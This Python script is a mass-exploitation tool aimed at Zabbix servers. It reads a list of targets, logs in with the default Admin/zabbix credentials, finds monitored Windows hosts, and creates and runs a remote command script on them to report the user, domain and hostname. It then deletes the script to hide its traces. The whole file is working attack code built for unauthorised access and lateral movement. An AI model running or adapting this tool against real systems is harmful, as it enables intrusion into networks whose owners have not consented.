import asyncio
import json
import sys

import aiohttp

UA = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/131.0"}
NAME = "_chk_win"
CMD = "cmd /c whoami & echo DOM=%USERDNSDOMAIN% & hostname"


async def rpc(sess, url, method, params, tok=None, bearer=False):
    body = {"jsonrpc": "2.0", "method": method, "params": params, "id": 1}
    hdr = {}
    if tok:
        if bearer:
            hdr["Authorization"] = "Bearer " + tok
        else:
            body["auth"] = tok
    async with sess.post(url, json=body, headers=hdr, ssl=False) as r:
        txt = await r.content.read(4000000)
        try:
            return json.loads(txt)
        except Exception:
            return {"_raw": txt[:160].decode("utf-8", "replace")}


async def call(sess, url, method, params, tok, bearer):
    j = await rpc(sess, url, method, params, tok, bearer)
    if "error" in j or "_raw" in j:
        j2 = await rpc(sess, url, method, params, tok, not bearer)
        if "error" not in j2 and "_raw" not in j2:
            return j2
    return j


async def one(sess, sem, ip, port, path, ver):
    scheme = "https" if port == "443" else "http"
    url = "%s://%s:%s%sapi_jsonrpc.php" % (scheme, ip, port, path)
    bearer = ver[:1] in "78"
    tag = "%s:%s%s" % (ip, port, path)
    try:
        async with sem:
            j = await rpc(sess, url, "user.login", {"username": "Admin", "password": "zabbix"})
            tok = j.get("result")
            if not isinstance(tok, str):
                return "%s login failed" % tag
            win = []
            j = await call(sess, url, "item.get", {"output": ["hostid", "lastvalue"],
                                                   "filter": {"key_": "system.uname"}, "limit": 400},
                           tok, bearer)
            unames = {}
            for it in (j.get("result") or []):
                lv = str(it.get("lastvalue") or "")
                if "Windows" in lv:
                    unames[it["hostid"]] = lv
            if unames:
                j = await call(sess, url, "host.get", {"output": ["hostid", "host"],
                                                       "hostids": list(unames)}, tok, bearer)
                for h in (j.get("result") or []):
                    win.append((h["hostid"], h["host"], unames.get(h["hostid"], "")[:40]))
            else:
                j = await call(sess, url, "host.get", {"output": ["hostid", "host"],
                                                       "selectInventory": ["os"], "limit": 300}, tok, bearer)
                for h in (j.get("result") or []):
                    osv = str((h.get("inventory") or {}).get("os") or "")
                    if "Windows" in osv:
                        win.append((h["hostid"], h["host"], osv[:40]))
            if not win:
                return "%s windows=0" % tag
            res = []
            for eo in (0, 1):
                params = {"name": NAME, "command": CMD, "scope": 2, "type": 0, "execute_on": eo}
                j = await call(sess, url, "script.create", params, tok, bearer)
                sid = (j.get("result") or {}).get("scriptids", [None])[0] if "result" in j else None
                if not sid:
                    continue
                for hid, hname, osv in win[:3]:
                    j = await call(sess, url, "script.execute", {"scriptid": sid, "hostid": hid}, tok, bearer)
                    val = (j.get("result") or {}).get("value") if isinstance(j.get("result"), dict) else None
                    if not val and isinstance(j.get("error"), dict):
                        val = j["error"].get("data")
                    val = str(val).replace("\n", " | ")[:110]
                    res.append("%s [eo=%d os=%s] -> %s" % (hname, eo, osv, val))
                await call(sess, url, "script.delete", [sid], tok, bearer)
                if any("nt authority" in x.lower() or "DOM=" in x for x in res):
                    break
            return "%s windows=%d %s" % (tag, len(win), " ;; ".join(res))
    except Exception as e:
        return "%s ERR %s" % (tag, type(e).__name__)


async def main():
    rows = []
    for line in sys.stdin:
        f = line.rstrip("\n").split("\t")
        if len(f) >= 4:
            rows.append((f[0], f[1], f[2], f[3]))
    sem = asyncio.Semaphore(6)
    to = aiohttp.ClientTimeout(total=60, connect=6, sock_read=55)
    async with aiohttp.ClientSession(timeout=to, headers=UA,
                                     connector=aiohttp.TCPConnector(limit=0, ssl=False)) as s:
        for r in rows:
            print(await one(s, sem, *r), flush=True)


asyncio.run(main())
